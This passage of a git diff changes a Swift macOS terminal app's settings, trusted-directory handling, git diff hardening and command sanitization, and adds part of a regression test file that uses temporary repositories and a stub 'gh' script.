parsed(ResolvedSettingsSnapshot) } @@ -313,19 +363,19 @@ final class ProgramaSettingsFileStore { return .missing } guard let data = fileManager.contents(atPath: path), !data.isEmpty else { - return .invalid + return .invalid("the file is empty") } do { let sanitized = try JSONCParser.preprocess(data: data) let object = try JSONSerialization.jsonObject(with: sanitized, options: []) guard let root = object as? [String: Any] else { - return .invalid + return .invalid("the top level is not a JSON object") } return .parsed(parseSettingsFile(root: root, sourcePath: path)) } catch { NSLog("[ProgramaSettingsFileStore] parse error at %@: %@", path, String(describing: error)) - return .invalid + return .invalid((error as NSError).localizedDescription) } } @@ -1090,8 +1140,9 @@ final class ProgramaSettingsFileStore { } private func applyManagedCustomSettings(_ settings: ManagedCustomSettings) { - if let trustedDirectories = settings.trustedDirectories, - ProgramaDirectoryTrust.shared.allTrustedPaths != trustedDirectories { + // `replaceAll` keeps the digests of roots that stay and is a no-op when the set is + // unchanged, so a reapply never wipes per-config trust digests. + if let trustedDirectories = settings.trustedDirectories { ProgramaDirectoryTrust.shared.replaceAll(with: trustedDirectories) } diff --git a/Sources/ReviewDiffParser.swift b/Sources/ReviewDiffParser.swift index 6ef4bee1b..37549d2f3 100644 --- a/Sources/ReviewDiffParser.swift +++ b/Sources/ReviewDiffParser.swift @@ -55,7 +55,12 @@ enum ReviewDiffParser { /// Parses (potentially multi-file) `git diff --no-color` unified-diff output. static func parse(_ diffText: String) -> [ReviewFileDiff] { guard !diffText.isEmpty else { return [] } - let lines = diffText.components(separatedBy: "\n") + var lines = diffText.components(separatedBy: "\n") + // git ends its output with a newline, which leaves one empty element after the split. + // Left in, the last hunk would read it as an extra blank context line. + if diffText.hasSuffix("\n") { + lines.removeLast() + } var result: [ReviewFileDiff] = [] var index = 0 diff --git a/Sources/ReviewDiffProber.swift b/Sources/ReviewDiffProber.swift index 80b0cbd12..fd615989f 100644 --- a/Sources/ReviewDiffProber.swift +++ b/Sources/ReviewDiffProber.swift @@ -109,9 +109,8 @@ struct ReviewDiffProber { /// staged files. Falls back to `["HEAD"]` if the empty-tree id can't be obtained, matching /// prior behavior (the subsequent diff will then fail and surface `.commandFailed`). private nonisolated static func headDiffRangeArgs(repoRoot: String) -> [String] { - let verify = CanonicalSubprocessRunner.run( - executable: "git", - arguments: ["rev-parse", "--verify", "--quiet", "HEAD"], + let verify = CanonicalSubprocessRunner.runAutomaticGit( + arguments: diffGitOptions + ["rev-parse", "--verify", "--quiet", "HEAD"], currentDirectory: repoRoot, timeout: defaultTimeout, stdoutLimit: commandStdoutLimit, @@ -142,7 +141,7 @@ struct ReviewDiffProber { switch runCommandResult( directory: repoRoot, executable: "git", - arguments: ["diff", "--no-color", "--find-renames"] + diffRangeArgs + arguments: ["diff", "--no-color", "--no-ext-diff", "--no-textconv", "--find-renames"] + diffRangeArgs ) { case .failure(let error): return .failure(error) @@ -165,7 +164,7 @@ struct ReviewDiffProber { switch runCommandResult( directory: repoRoot, executable: "git", - arguments: ["diff", "--numstat", "--find-renames"] + diffRangeArgs + arguments: ["diff", "--numstat", "--no-ext-diff", "--no-textconv", "--find-renames"] + diffRangeArgs ) { case .failure(let error): return .failure(error) @@ -201,10 +200,11 @@ struct ReviewDiffProber { // MARK: - Untracked files private nonisolated static func untrackedFileDiffs(repoRoot: String) -> [ReviewFileDiff] { - guard let output = runCommand(directory: repoRoot, executable: "git", arguments: ["ls-files", "--others", "--exclude-standard"]) else { + guard let output = runCommand(directory: repoRoot, executable: "git", arguments: ["ls-files", "-z", "--others", "--exclude-standard"]) else { return [] } - let paths = output.split(separator: "\n").map(String.init).filter { !$0.isEmpty } + // NUL-separated so a path with a tab, quote or newline arrives verbatim, not C-quoted. + let paths = output.split(separator: "\0").map(String.init).filter { !$0.isEmpty } return paths.map { untrackedFileDiff(repoRoot: repoRoot, path: $0) } } @@ -236,15 +236,30 @@ struct ReviewDiffProber { // MARK: - Process plumbing - private nonisolated static func runCommand(directory: String, executable: String, arguments: [String]) -> String? { - let result = CanonicalSubprocessRunner.run( - executable: executable, - arguments: arguments, + /// Neutralizes user git config the parser cannot cope with: octal-quoted non-ASCII paths + /// (`core.quotePath`), `a/`/`b/` prefixes removed or renamed (`diff.noprefix`, + /// `diff.mnemonicPrefix`). External diff drivers and textconv filters are disabled per + /// command with `--no-ext-diff --no-textconv`. Every call also gets the automatic-git + /// hardening (`CanonicalSubprocessRunner.automaticGitOptions`). + private static let diffGitOptions: [String] = [ + "-c", "core.quotePath=false", + "-c", "diff.noprefix=false", + "-c", "diff.mnemonicPrefix=false", + ] + + /// Runs `git` (the only executable this prober uses) with the hardening above. + private nonisolated static func runGit(directory: String, arguments: [String]) -> CanonicalSubprocessResult { + CanonicalSubprocessRunner.runAutomaticGit( + arguments: diffGitOptions + arguments, currentDirectory: directory, timeout: defaultTimeout, stdoutLimit: commandStdoutLimit, stderrLimit: commandStderrLimit ) + } + + private nonisolated static func runCommand(directory: String, executable: String, arguments: [String]) -> String? { + let result = runGit(directory: directory, arguments: arguments) guard result.exitStatus == 0, result.outcome == .exited else { return nil } @@ -255,14 +270,7 @@ struct ReviewDiffProber { /// empty string -- used everywhere a command failure must not be silently read as "no /// changes". See M12 in docs/audits/codebase-audit-2026-09-11.md. private nonisolated static func runCommandResult(directory: String, executable: String, arguments: [String]) -> Result { - let result = CanonicalSubprocessRunner.run( - executable: executable, - arguments: arguments, - currentDirectory: directory, - timeout: defaultTimeout, - stdoutLimit: commandStdoutLimit, - stderrLimit: commandStderrLimit - ) + let result = runGit(directory: directory, arguments: arguments) guard result.exitStatus == 0, result.outcome == .exited else { let stderrText = (result.stderr ?? "").trimmingCharacters(in: .whitespacesAndNewlines) let commandDescription = ([executable] + arguments).joined(separator: " ") diff --git a/Sources/SettingsView.swift b/Sources/SettingsView.swift index 66be383b0..689842e09 100644 --- a/Sources/SettingsView.swift +++ b/Sources/SettingsView.swift @@ -97,6 +97,8 @@ struct SettingsView: View { @ObservedObject private var notificationStore = TerminalNotificationStore.shared @StateObject private var keyboardShortcutSettingsObserver = KeyboardShortcutSettingsObserver.shared @StateObject private var terminalThemeSettings = TerminalThemeSettingsModel() + @StateObject private var settingsFileStatus = SettingsFileStatusModel() + @FocusState private var trustedDirectoriesEditorFocused: Bool @State private var shortcutResetToken = UUID() @State private var topBlurOpacity: Double = 0 @State private var topBlurBaselineOffset: CGFloat? @@ -224,7 +226,11 @@ struct SettingsView: View { browserInsecureHTTPAllowlistDraft != browserInsecureHTTPAllowlist } + /// Commits the textarea when it loses focus or Settings closes, never per keystroke: each + /// save replaces the trusted set, and a half-typed path must not stand in for a real one. + /// `replaceAll` keeps the per-config digests of roots that stay. private func saveTrustedDirectories() { + guard !settingsFileStatus.trustedDirectoriesManaged else { return } let paths = trustedDirectoriesDraft .split(separator: "\n", omittingEmptySubsequences: true) .map { $0.trimmingCharacters(in: .whitespaces) } @@ -232,6 +238,13 @@ struct SettingsView: View { ProgramaDirectoryTrust.shared.replaceAll(with: paths) } + /// Re-reads the trusted set into the textarea, unless the user is mid-edit in it, so trust + /// granted from the run dialog (or settings.json) is not overwritten by a stale draft. + private func reseedTrustedDirectoriesDraft() { + guard !trustedDirectoriesEditorFocused else { return } + trustedDirectoriesDraft = ProgramaDirectoryTrust.shared.allTrustedPaths.joined(separator: "\n") + } + private var canPreviewNotificationSound: Bool { notificationSound != "none" } @@ -335,6 +348,18 @@ struct SettingsView: View { ScrollViewReader { proxy in ScrollView { VStack(alignment: .leading, spacing: 14) { + if let parseError = settingsFileStatus.parseError { + SettingsCard { + SettingsCardNote(String( + format: String( + localized: "conf.settingsFile.parseError", + defaultValue: "settings.json could not be read, so the last valid settings stay in effect. %@" + ), + parseError + )) + .accessibilityIdentifier("SettingsFileParseErrorBanner") + } + } switch selectedTab { case .general: appSection @@ -522,6 +547,7 @@ struct SettingsView: View { Text(placement.displayName).tag(placement.rawValue) } } + .managedBySettingsFile(settingsFileStatus.isManaged(WorkspacePlacementSettings.placementKey)) SettingsCardDivider() @@ -535,6 +561,7 @@ struct SettingsView: View { .labelsHidden() .controlSize(.small) } + .managedBySettingsFile(settingsFileStatus.isManaged(WorkspaceAutoReorderSettings.key)) SettingsCardDivider() @@ -549,6 +576,7 @@ struct SettingsView: View { .textFieldStyle(.roundedBorder) .frame(width: 200) } + .managedBySettingsFile(settingsFileStatus.isManaged(PreferredEditorSettings.key)) SettingsCardDivider() @@ -563,6 +591,7 @@ struct SettingsView: View { String(localized: "settings.app.showInMenuBar", defaultValue: "Show in Menu Bar") ) } + .managedBySettingsFile(settingsFileStatus.isManaged(MenuBarExtraSettings.showInMenuBarKey)) SettingsCardDivider() @@ -577,6 +606,7 @@ struct SettingsView: View { .labelsHidden() .controlSize(.small) } + .managedBySettingsFile(settingsFileStatus.isManaged(QuitWarningSettings.warnBeforeQuitKey)) SettingsCardDivider() @@ -622,6 +652,7 @@ struct SettingsView: View { String(localized: "settings.app.commandPaletteSearchAllSurfaces", defaultValue: "Command Palette Searches All Surfaces") ) } + .managedBySettingsFile(settingsFileStatus.isManaged(CommandPaletteSwitcherSearchSettings.searchAllSurfacesKey)) } @@ -674,6 +705,7 @@ struct SettingsView: View { } .frame(maxWidth: .infinity, alignment: .trailing) } + .managedBySettingsFile(settingsFileStatus.isManaged(NotificationSoundSettings.key)) SettingsCardDivider() @@ -691,6 +723,7 @@ struct SettingsView: View { .textFieldStyle(.roundedBorder) .frame(width: 200) } + .managedBySettingsFile(settingsFileStatus.isManaged(NotificationSoundSettings.customCommandKey)) SettingsCardDivider() @@ -715,6 +748,7 @@ struct SettingsView: View { .foregroundStyle(.secondary) } } + .managedBySettingsFile(settingsFileStatus.isManaged(LongCommandNotificationSettings.thresholdSecondsKey)) } } @@ -865,6 +899,7 @@ struct SettingsView: View { SettingsSectionHeader(title: String(localized: "settings.section.appearance", defaultValue: "Appearance")) SettingsCard { ThemePickerRow(selectedMode: appearanceMode, onSelect: { mode in appearanceMode = mode.rawValue }) + .managedBySettingsFile(settingsFileStatus.isManaged(AppearanceSettings.appearanceModeKey)) SettingsCardDivider() @@ -880,6 +915,7 @@ struct SettingsView: View { String(localized: "settings.app.minimalMode", defaultValue: "Minimal Mode") ) } + .managedBySettingsFile(settingsFileStatus.isManaged(WorkspacePresentationModeSettings.modeKey)) } } @@ -897,6 +933,7 @@ struct SettingsView: View { Text(style.displayName).tag(style.rawValue) } } + .managedBySettingsFile(settingsFileStatus.isManaged(SidebarActiveTabIndicatorSettings.styleKey)) // Selection-highlight and notification-badge hex pickers, the inline // palette editor and a section-local Reset Palette used to follow. The // editor duplicated settings.json, which its own note already pointed at @@ -924,6 +961,7 @@ struct SettingsView: View { String(localized: "settings.sidebarAppearance.showClaudeQuota", defaultValue: "Show Provider Usage") ) } + .managedBySettingsFile(settingsFileStatus.isManaged("sidebarShowClaudeQuota")) // Light/dark tint hex, tint opacity and a section-local reset used to // live here. They were per-pixel tuning of one surface, shipped to // every user, and the same four keys are already bound by the Debug @@ -948,6 +986,7 @@ struct SettingsView: View { Text(mode.displayName).tag(mode.rawValue) } } + .managedBySettingsFile(settingsFileStatus.isManaged(SocketControlSettings.appStorageKey)) SettingsCardDivider() @@ -979,6 +1018,7 @@ struct SettingsView: View { } } } + .managedBySettingsFile(settingsFileStatus.socketPasswordManaged) if let message = socketPasswordStatusMessage { Text(message) .font(.caption) @@ -1015,6 +1055,7 @@ struct SettingsView: View { .controlSize(.small) .accessibilityIdentifier("SettingsClaudeCodeHooksToggle") } + .managedBySettingsFile(settingsFileStatus.isManaged(ClaudeCodeIntegrationSettings.hooksEnabledKey)) SettingsCardDivider() @@ -1033,6 +1074,7 @@ struct SettingsView: View { .controlSize(.small) .accessibilityIdentifier("SettingsAgentBrowserSplitToggle") } + .managedBySettingsFile(settingsFileStatus.isManaged(AgentBrowserSplitSettings.key)) } SettingsCard { @@ -1065,6 +1107,7 @@ struct SettingsView: View { .textFieldStyle(.roundedBorder) .frame(width: 200) } + .managedBySettingsFile(settingsFileStatus.isManaged(ClaudeCodeIntegrationSettings.customClaudePathKey)) } } @@ -1078,6 +1121,7 @@ struct SettingsView: View { .textFieldStyle(.roundedBorder) .multilineTextAlignment(.trailing) } + .managedBySettingsFile(settingsFileStatus.isManaged(ProgramaPortRangePolicy.baseDefaultsKey)) SettingsCardDivider() @@ -1086,6 +1130,7 @@ struct SettingsView: View { .textFieldStyle(.roundedBorder) .multilineTextAlignment(.trailing) } + .managedBySettingsFile(settingsFileStatus.isManaged(ProgramaPortRangePolicy.rangeDefaultsKey)) SettingsCardDivider() @@ -1147,10 +1192,26 @@ struct SettingsView: View { ) .padding(.horizontal, 16) .padding(.bottom, 12) - .onChange(of: trustedDirectoriesDraft) { - saveTrustedDirectories() + .focused($trustedDirectoriesEditorFocused) + .onChange(of: trustedDirectoriesEditorFocused) { _, isFocused in + if !isFocused { + saveTrustedDirectories() + } + } + .onDisappear { + if trustedDirectoriesEditorFocused { + saveTrustedDirectories() + } + } + .onReceive( + NotificationCenter.default + .publisher(for: ProgramaDirectoryTrust.didChangeNotification) + .receive(on: RunLoop.main) + ) { _ in + reseedTrustedDirectoriesDraft() } } + .managedBySettingsFile(settingsFileStatus.trustedDirectoriesManaged) SettingsCardDivider() SettingsCardNote(String(localized: "settings.customCommands.trustedDirectories.note", defaultValue: "Place a programa.json in your project root to define custom commands. Trust a directory from the confirmation dialog, or add paths here. For git repos, trusting the root covers all subdirectories.")) @@ -1174,6 +1235,7 @@ struct SettingsView: View { Text(engine.displayName).tag(engine.rawValue) } } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserSearchSettings.searchEngineKey)) SettingsCardDivider() @@ -1182,6 +1244,7 @@ struct SettingsView: View { .labelsHidden() .controlSize(.small) } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserSearchSettings.searchSuggestionsEnabledKey)) SettingsCardDivider() @@ -1197,6 +1260,7 @@ struct SettingsView: View { Text(mode.displayName).tag(mode.rawValue) } } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserThemeSettings.modeKey)) } } @@ -1213,6 +1277,7 @@ struct SettingsView: View { .labelsHidden() .controlSize(.small) } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserLinkOpenSettings.openTerminalLinksInProgramaBrowserKey)) SettingsCardDivider() @@ -1224,6 +1289,7 @@ struct SettingsView: View { .labelsHidden() .controlSize(.small) } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserLinkOpenSettings.interceptTerminalOpenCommandInProgramaBrowserKey)) SettingsCardDivider() @@ -1238,6 +1304,7 @@ struct SettingsView: View { Text(browser.name).tag(browser.bundleIdentifier) } } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserLinkOpenSettings.externalBrowserBundleIdentifierKey)) .onAppear { installedExternalBrowsers = BrowserLinkOpenSettings.installedBrowsers() } @@ -1267,6 +1334,7 @@ struct SettingsView: View { .padding(.horizontal, 16) .padding(.bottom, 12) } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserLinkOpenSettings.browserHostWhitelistKey)) SettingsCardDivider() @@ -1292,6 +1360,7 @@ struct SettingsView: View { .padding(.horizontal, 16) .padding(.bottom, 12) } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserLinkOpenSettings.browserExternalOpenPatternsKey)) } SettingsCardDivider() @@ -1354,6 +1423,7 @@ struct SettingsView: View { } } } + .managedBySettingsFile(settingsFileStatus.isManaged(BrowserInsecureHTTPSettings.allowlistKey)) .padding(.horizontal, 14) .padding(.vertical, 10) } @@ -1412,6 +1482,7 @@ struct SettingsView: View { .labelsHidden() .controlSize(.small) } + .managedBySettingsFile(settingsFileStatus.isManaged(ShortcutHintDebugSettings.showHintsOnCommandHoldKey)) SettingsCardDivider() @@ -1510,6 +1581,68 @@ struct SettingsView: View { } +/// Which Settings rows settings.json currently controls, and the file's parse error if its last +/// reload failed. Refreshes on every settings-file reload. +@MainActor +private final class SettingsFileStatusModel: ObservableObject { + @Published private(set) var parseError: String? + @Published private(set) var managedDefaultsKeysRevision: UInt64 = 0 + @Published private(set) var trustedDirectoriesManaged = false + @Published private(set) var socketPasswordManaged = false + + private let notificationCenter: NotificationCenter + private var reloadObserver: NSObjectProtocol? + + init(notificationCenter: NotificationCenter = .default) { + self.notificationCenter = notificationCenter + refresh() + reloadObserver = notificationCenter.addObserver( + forName: ProgramaSettingsFileStore.didReloadNotification, + object: nil, + queue: .main + ) { [weak self] _ in + MainActor.assumeIsolated { + self?.refresh() + } + } + } + + deinit { + if let reloadObserver { + notificationCenter.removeObserver(reloadObserver) + } + } + + func isManaged(_ defaultsKey: String) -> Bool { + _ = managedDefaultsKeysRevision + return KeyboardShortcutSettings.settingsFileStore.isManagedByFile(defaultsKey: defaultsKey) + } + + private func refresh() { + let store = KeyboardShortcutSettings.settingsFileStore + parseError = store.currentParseError() + trustedDirectoriesManaged = store.isTrustedDirectoriesManagedByFile() + socketPasswordManaged = store.isSocketPasswordManagedByFile() + managedDefaultsKeysRevision &+= 1 + } +} + +private extension View { + /// Disables a Settings row whose value settings.json controls (the store would revert any + /// edit on its next reapply) and says so under the row. + @ViewBuilder + func managedBySettingsFile(_ isManaged: Bool) -> some View { + if isManaged { + VStack(alignment: .leading, spacing: 0) { + self.disabled(true) + SettingsCardNote(String(localized: "settings.terminalTheme.managedByFile", defaultValue: "Managed in settings.json")) + } + } else { + self + } + } +} + @MainActor private final class TerminalThemeSettingsModel: ObservableObject { @Published private(set) var themeNames: [String] = [] diff --git a/Sources/SidebarQuotaFooter.swift b/Sources/SidebarQuotaFooter.swift index 69c4236d7..c406893be 100644 --- a/Sources/SidebarQuotaFooter.swift +++ b/Sources/SidebarQuotaFooter.swift @@ -21,7 +21,6 @@ struct SidebarQuotaPresentation { let availableSnapshots: [ProviderUsageSnapshot] let failures: [Failure] - let unavailableProviders: [ProviderUsageProvider] = [] var showsEmptyState: Bool { availableSnapshots.isEmpty && failures.isEmpty @@ -41,8 +40,6 @@ struct SidebarQuotaPresentation { /// Provider usage content hosted by the sidebar footer's on-demand popover. struct SidebarQuotaFooter: View { - static let showsManualRefreshControl = false - @ObservedObject var store: ProviderUsageStore private var presentation: SidebarQuotaPresentation { diff --git a/Sources/SidebarVisuals.swift b/Sources/SidebarVisuals.swift index 2ca5d5d45..b61f71369 100644 --- a/Sources/SidebarVisuals.swift +++ b/Sources/SidebarVisuals.swift @@ -1356,7 +1356,7 @@ private struct SidebarBackdropContentHost: NSViewRepresentable { struct SidebarSurface: View { let content: Content - @AppStorage("sidebarMatchTerminalBackground") private var matchTerminalBackground = true + @AppStorage("sidebarMatchTerminalBackground") private var matchTerminalBackground = false @AppStorage("sidebarTintOpacity") private var sidebarTintOpacity = SidebarTintDefaults.opacity @AppStorage("sidebarTintHex") private var sidebarTintHex = SidebarTintDefaults.hex @AppStorage("sidebarTintHexLight") private var sidebarTintHexLight: String? @@ -1508,7 +1508,7 @@ struct SidebarTerminalBasePlane: View { } struct SidebarBackdrop: View { - @AppStorage("sidebarMatchTerminalBackground") private var matchTerminalBackground = true + @AppStorage("sidebarMatchTerminalBackground") private var matchTerminalBackground = false @AppStorage("sidebarTintOpacity") private var sidebarTintOpacity = SidebarTintDefaults.opacity @AppStorage("sidebarTintHex") private var sidebarTintHex = SidebarTintDefaults.hex @AppStorage("sidebarTintHexLight") private var sidebarTintHexLight: String? diff --git a/Sources/TabManager+GitMetadataPolling.swift b/Sources/TabManager+GitMetadataPolling.swift index 773ecf19e..c2c115de2 100644 --- a/Sources/TabManager+GitMetadataPolling.swift +++ b/Sources/TabManager+GitMetadataPolling.swift @@ -35,7 +35,7 @@ extension TabManager { timer.schedule(deadline: .now() + interval, repeating: interval) timer.setEventHandler { [weak self] in DispatchQueue.main.async { [weak self] in - guard let self, !self.isStopped else { return } + guard let self, !self.isStopped, NSApp.isActive else { return } self.refreshTrackedWorkspaceGitMetadata() } } @@ -45,7 +45,10 @@ extension TabManager { /// Refresh the selected workspace more aggressively so branch checkouts and /// newly created PRs show up in the sidebar without waiting for the slower - /// background sweep across every tracked workspace. + /// background sweep across every tracked workspace. Runs only while the app is active and + /// this TabManager's window is the main window, so a background app or a second window + /// spawns no git or GitHub calls on this 5 s cadence. The `gh` lookups inside a probe are + /// throttled further by `GitMetadataProber` (branch change, then every 60 s). func startSelectedWorkspaceGitMetadataPollTimer() { guard !isStopped, selectedWorkspaceGitMetadataPollTimer == nil else { return } let timer = DispatchSource.makeTimerSource(queue: .global(qos: .utility)) @@ -53,7 +56,7 @@ extension TabManager { timer.schedule(deadline: .now() + interval, repeating: interval) timer.setEventHandler { [weak self] in DispatchQueue.main.async { [weak self] in - guard let self, !self.isStopped else { return } + guard let self, !self.isStopped, self.isFrontmostForGitMetadataPolling else { return } self.refreshSelectedWorkspaceGitMetadata() } } @@ -61,6 +64,12 @@ extension TabManager { selectedWorkspaceGitMetadataPollTimer = timer } + private var isFrontmostForGitMetadataPolling: Bool { + guard NSApp.isActive, let window else { return false } + // `isMainWindow` stays true while a sheet, popover or panel of this window is key. + return window.isMainWindow || window.isKeyWindow + } + /// Pure tier decision for the background sweep: should this workspace's periodic /// git metadata sweep be skipped this tick? Extracted for direct unit testing /// (no live TabManager/workspace needed). diff --git a/Sources/Workspace+Layout.swift b/Sources/Workspace+Layout.swift index d7bb3891d..c1d4bdf51 100644 --- a/Sources/Workspace+Layout.swift +++ b/Sources/Workspace+Layout.swift @@ -246,14 +246,18 @@ extension Workspace { _ = closePanel(panelId, force: true) if let name = surface.name { setPanelCustomTitle(panelId: panel.id, title: name) } if surface.focus == true { focusPanelId = panel.id } - if let command = surface.command { sendInputWhenReady(command + "\n", to: panel) } + if let command = surface.command { + sendInputWhenReady(ProgramaConfigExecutor.sanitizeForExecution(command) + "\n", to: panel) + } } case .terminal: if let name = surface.name { setPanelCustomTitle(panelId: panelId, title: name) } if surface.focus == true { focusPanelId = panelId } if let command = surface.command, let terminal = terminalPanel(for: panelId) { - sendInputWhenReady(command + "\n", to: terminal) + // Same execution hygiene as top-level config commands: the dialog showed the + // command without bidi/zero-width scalars, so the shell must not receive them. + sendInputWhenReady(ProgramaConfigExecutor.sanitizeForExecution(command) + "\n", to: terminal) } case .browser: @@ -283,7 +287,9 @@ extension Workspace { ) { if let name = surface.name { setPanelCustomTitle(panelId: panel.id, title: name) } if surface.focus == true { focusPanelId = panel.id } - if let command = surface.command { sendInputWhenReady(command + "\n", to: panel) } + if let command = surface.command { + sendInputWhenReady(ProgramaConfigExecutor.sanitizeForExecution(command) + "\n", to: panel) + } } case .browser: diff --git a/programaTests/ClaudeQuotaSnapshotParserTests.swift b/programaTests/ClaudeQuotaSnapshotParserTests.swift index 7c14e3739..60b4809cc 100644 --- a/programaTests/ClaudeQuotaSnapshotParserTests.swift +++ b/programaTests/ClaudeQuotaSnapshotParserTests.swift @@ -992,7 +992,7 @@ final class SidebarQuotaPresentationTests: XCTestCase { results: [.available(claude), .unavailable(.codex)] ) XCTAssertEqual(signedOutPresentation.availableSnapshots.map(\.provider), [.claude]) - XCTAssertTrue(signedOutPresentation.unavailableProviders.isEmpty) + XCTAssertTrue(signedOutPresentation.failures.isEmpty, "A signed-out provider is omitted, not shown as a failure") let failedPresentation = SidebarQuotaPresentation( results: [.available(claude), .failed(.codex, "Codex usage could not be read.")] @@ -1006,7 +1006,6 @@ final class SidebarQuotaPresentationTests: XCTestCase { results: [.unavailable(.claude), .unavailable(.codex)] ) XCTAssertTrue(allSignedOut.showsEmptyState) - XCTAssertTrue(allSignedOut.unavailableProviders.isEmpty) let genuineFailure = SidebarQuotaPresentation( results: [.unavailable(.claude), .failed(.codex, "Authenticated read failed")] @@ -1068,25 +1067,6 @@ final class SidebarQuotaPresentationTests: XCTestCase { XCTAssertGreaterThan(size.height, 0) } - func testUsagePopoverDoesNotExposeAManualRefreshControl() { - XCTAssertFalse( - SidebarQuotaFooter.showsManualRefreshControl, - "Opening the popover performs the refresh; a second refresh control makes freshness ambiguous" - ) - } - - func testFooterGlyphsShareTheSidebarRowIconColumn() { - // Footer sits inside the same 8pt sidebar edge as the row list; the first - // glyph must start where a row's leading icon starts (edge + row padding). - let firstGlyphLeading = SidebarFooterControlLayout.leadingInset + SidebarFooterControlLayout.hitInset - XCTAssertEqual(firstGlyphLeading, ChromeDensity.sidebarRowHorizontalPadding) - XCTAssertEqual(SidebarFooterControlLayout.glyphSlot, SidebarRowMetrics.leadingIconSlotWidth) - XCTAssertEqual( - SidebarFooterControlLayout.buttonSize, - SidebarFooterControlLayout.glyphSlot + SidebarFooterControlLayout.hitInset * 2 - ) - } - private func fittingHeight(results: [ProviderUsageResult]) async -> CGFloat { let fetchers: [any ProviderUsageFetching] = results.map { result in CountingProviderUsageFetcher(provider: result.provider, result: result) diff --git a/programaTests/ConfigFixSweepCONFTests.swift b/programaTests/ConfigFixSweepCONFTests.swift new file mode 100644 index 000000000..8f171181e --- /dev/null +++ b/programaTests/ConfigFixSweepCONFTests.swift @@ -0,0 +1,422 @@ +import XCTest + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Regression tests for the CONF (config, git, trust) fix cluster. The tests that need only +/// pre-fix APIs live in `ConfigFixSweepRegressionTests`; these exercise the new behavior and +/// helpers (trust digests per config, duplicate-key rejection, settings parse-error handling, +/// confirmation-dialog disclosure, dirty-worktree refusal, PR lookup throttle). +/// +/// Every git repository and trust store lives in a test-owned temp directory removed in +/// `tearDown`. Nothing here touches the real repo's config or the user's trust store. +@MainActor +final class ConfigFixSweepCONFTests: XCTestCase { + private var tempRoot: URL! + private var originalPATH: String? + private var ghCountFile: URL! + + override func setUpWithError() throws { + try super.setUpWithError() + let base = FileManager.default.temporaryDirectory + .appendingPathComponent("conf-sweep-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: base, withIntermediateDirectories: true) + tempRoot = base.resolvingSymlinksInPath() + + // `gh` stub: answers `pr list` with no pull requests and records each such call. + originalPATH = ProcessInfo.processInfo.environment["PATH"] + let binDir = tempRoot.appendingPathComponent("bin", isDirectory: true) + try FileManager.default.createDirectory(at: binDir, withIntermediateDirectories: true) + ghCountFile = tempRoot.appendingPathComponent("gh-pr-list-calls") + let script = """ + #!/bin/sh + if [ "$1 $2" = "pr list" ]; then + echo x >> "\(ghCountFile.path)" + echo '[]' + exit 0 + fi + exit 1 + """ + let ghStub = binDir.appendingPathComponent("gh") + try script.write(to: ghStub, atomically: true, encoding: .utf8) + try FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: ghStub.path) + setenv("PATH", "\(binDir.path):\(originalPATH ?? "/usr/bin:/bin")", 1) + GitMetadataProber.resetPullRequestLookupThrottleForTesting() + } + + override func tearDownWithError() throws { + GitMetadataProber.resetPullRequestLookupThrottleForTesting() + if let originalPATH { setenv("PATH", originalPATH, 1) } + originalPATH = nil + try? FileManager.default.removeItem(at: tempRoot) + tempRoot = nil + ghCountFile = nil + try super.tearDownWithError() + } + + // MARK: - Fixture helpers + + @discardableResult + private func git(_ arguments: [String], in directory: URL) throws -> String { + let process = Process() + process.executableURL = URL(fileURLWithPath: "/usr/bin/git") + process.arguments = arguments + process.currentDirectoryURL = directory + var environment = ProcessInfo.processInfo.environment + environment["GIT_CONFIG_GLOBAL"] = "/dev/null" + environment["GIT_CONFIG_SYSTEM"] = "/dev/null" + environment["GIT_AUTHOR_NAME"] = "Conf Test" + environment["GIT_AUTHOR_EMAIL"] = "conf@example.invalid" + environment["GIT_COMMITTER_NAME"] = "Conf Test" + environment["GIT_COMMITTER_EMAIL"] = "conf@example.invalid" + process.environment = environment + let stdout = Pipe() + let stderr = Pipe() + process.standardOutput = stdout + process.standardError = stderr + try process.run() + let outData = stdout.fileHandleForReading.readDataToEndOfFile() + let errData = stderr.fileHandleForReading.readDataToEndOfFile() + process.waitUntilExit() + guard process.terminationStatus == 0 else { + throw NSError( + domain: "ConfigFixSweepCONFTests", + code: Int(process.terminationStatus), + userInfo: [NSLocalizedDescriptionKey: + "git \(arguments.joined(separator: " ")) failed: \(String(decoding: errData, as: UTF8.self))"] + ) + } + return String(decoding: outData, as: UTF8.self) + } + + private func makeRepo(branch: String) throws -> URL { + let repo = tempRoot.appendingPathComponent("repo-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: repo, withIntermediateDirectories: true) + try git(["init", "-q", "-b", branch], in: repo) + try "one\n".write(to: repo.appendingPathComponent("README.md"), atomically: true, encoding: .utf8) + try git(["add", "."], in: repo) + try git(["commit", "-q", "-m", "init"], in: repo) + return repo + } + + private func makeDirectory(_ relativePath: String) throws -> URL { + let url = tempRoot.appendingPathComponent(relativePath, isDirectory: true) + try FileManager.default.createDirectory(at: url, withIntermediateDirectories: true) + return url + } + + private func write(_ contents: String, to url: URL) throws { + try FileManager.default.createDirectory( + at: url.deletingLastPathComponent(), withIntermediateDirectories: true + ) + try contents.write(to: url, atomically: true, encoding: .utf8) + } + + private static let globalConfigPath = "/dev/null/global-programa.json" + + private func decodeConfig(_ json: String) throws -> ProgramaConfigFile { + try JSONDecoder().decode(ProgramaConfigFile.self, from: Data(json.utf8)) + } + + // MARK: - CONF-04: replaceAll keeps digests of roots that stay + + private final class NotificationCounter: @unchecked Sendable { + private let lock = NSLock() + private var value = 0 + func increment() { lock.lock(); value += 1; lock.unlock() } + var count: Int { lock.lock(); defer { lock.unlock() }; return value } + } + + func testReplaceAllKeepsDigestOfRootsThatStayAndPostsNothingWhenUnchanged() throws { + let configURL = try makeDirectory("trust04/x").appendingPathComponent("programa.json") + try write(#"{"commands":[{"name":"Build","command":"make build"}]}"#, to: configURL) + let store = ProgramaDirectoryTrust(storePath: tempRoot.appendingPathComponent("trust04.json").path) + 